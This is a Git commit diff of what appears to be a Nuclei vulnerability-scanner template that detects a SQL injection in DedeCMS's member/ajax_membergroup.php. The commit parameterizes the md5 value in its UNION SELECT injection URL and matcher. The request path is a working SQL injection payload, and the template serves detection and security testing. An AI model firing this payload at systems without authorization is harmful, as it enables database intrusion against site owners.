Update dedecms-membergroup-sqli.yaml

patch-1
Ritik Chaddha 2022-06-30 09:22:06 +05:30 committed by GitHub
parent d64a197dbf
commit 4f913c95aa
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 2 deletions

View File

@ -9,17 +9,20 @@ info:
- http://www.dedeyuan.com/xueyuan/wenti/1244.html
tags: sqli,dedecms
variables:
num: "999999999"
requests:
- method: GET
path:
- "{{BaseURL}}/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5(999999)+--+@`'`"
- "{{BaseURL}}/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{num}})+--+@`'`"
matchers-condition: and
matchers:
- type: word
words:
- "52c69e3a57331081823331c4e69d3f2e"
- '{{md5({{num}})}}'
part: body
- type: status